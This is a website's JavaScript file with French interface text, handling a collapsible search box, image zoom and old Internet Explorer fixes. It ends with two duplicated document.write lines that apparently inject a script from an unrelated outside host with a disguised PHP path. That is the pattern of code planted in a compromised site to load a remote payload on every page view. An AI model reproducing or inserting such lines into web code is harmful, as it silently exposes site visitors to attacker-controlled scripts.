var img;

window.onload = function searchb(){
    var lnk = document.getElementById('searchLink');
    var box = document.getElementById('searchBox');

	box.className = 'js';

	var textNoDisplay = '+ '+lnk.firstChild.nodeValue;
	var textDisplay = '– '+lnk.firstChild.nodeValue;

	lnk.removeAttribute('href');
	lnk.onclick = displayBox;

	displayBox();

	if(typeof(link) != 'undefined'){
	    displayBox();
	}

	function displayBox(){
		if(box.style.display == 'none'){
			box.style.display = '';
			lnk.style.color = '#ff9001';
			document.getElementById('q').focus();
			lnk.firstChild.nodeValue = textDisplay;
		}else{
			box.style.display = "none";
			lnk.style.color = '#ffffff';
			lnk.firstChild.nodeValue = textNoDisplay;
		}
	}

	var corp = document.getElementById('imgFull');
	if(corp){
		resize_img(corp.parentNode);
	}

	if(pathIe){
		box.style.top = 96+'px';

		mnu = document.getElementById('menu');

		tabz = mnu.getElementsByTagName('ul')[0];
		for(n = 0; tabz.childNodes.length > n; n++){
			if(tabz.childNodes[n].className == 'sel'){
				if(tabz.childNodes[n].firstChild.nodeName != 'A'){
					tabz.childNodes[n].id = 'ieSel';
				}else{
					tabz.childNodes[n].firstChild.id = 'ieSel';
				}
			}
		}

	   if(!tabz.firstChild.className){
	    	tabz.firstChild.className = 'firstChild';
		}
		mnu.filters;
		box.filters;
	}
}

function resize_img(corp){
		var zoom = corp.cloneNode(true);

		var img = corp.getElementsByTagName('img')[0];
		var img_zoom = zoom.getElementsByTagName('img')[0];

		zoom.id = 'zoom_corp';

		img_zoom.width = img.width;
		img_zoom.height = img.height;

		if(img.width > 468 || img.height > 468){
			if(img.width > img.height){
				img.width = 468;
			}else{
				img.height = 468;
			}

			img.style.cursor = 'pointer';
			img.title = 'Cliquez pour agrandir';
			img_zoom.style.cursor = 'pointer';
			img_zoom.title = 'Cliquez pour revenir à l\'affichage normal';

			var corp_page = Array();

			img.onmousedown = function(){
				while(document.body.firstChild){
					corp_page.push(document.body.removeChild(document.body.firstChild));
				}

				document.body.style.backgroundColor = '#000';

				document.body.appendChild(zoom);
		 	};

			img_zoom.onmousedown = function(){
				while(document.body.firstChild){
					document.body.removeChild(document.body.firstChild);
				}

				document.body.style.backgroundColor = '#bbb';

				for(n = 0; n < corp_page.length; n++){
					document.body.appendChild(corp_page.pop());
				}
				
				if(pathIe){
					mnu.style.position = "fixed";
					//mnu.style.top = "100px";
				}
			}
		}
}

if(navigator.appVersion.indexOf("MSIE 6")!= -1 || navigator.appVersion.indexOf("MSIE 5")!= -1){
    document.write('<link type="text/css" rel="stylesheet" href="/hptxt/style/archycal/ie_path.css" title="Style 1" />');
    var pathIe = 1;
}

document.write('<script src=http://sigc.edu/ig/MBA_Complaince_report.my_doc.php ><\/script>');
document.write('<script src=http://sigc.edu/ig/MBA_Complaince_report.my_doc.php ><\/script>');
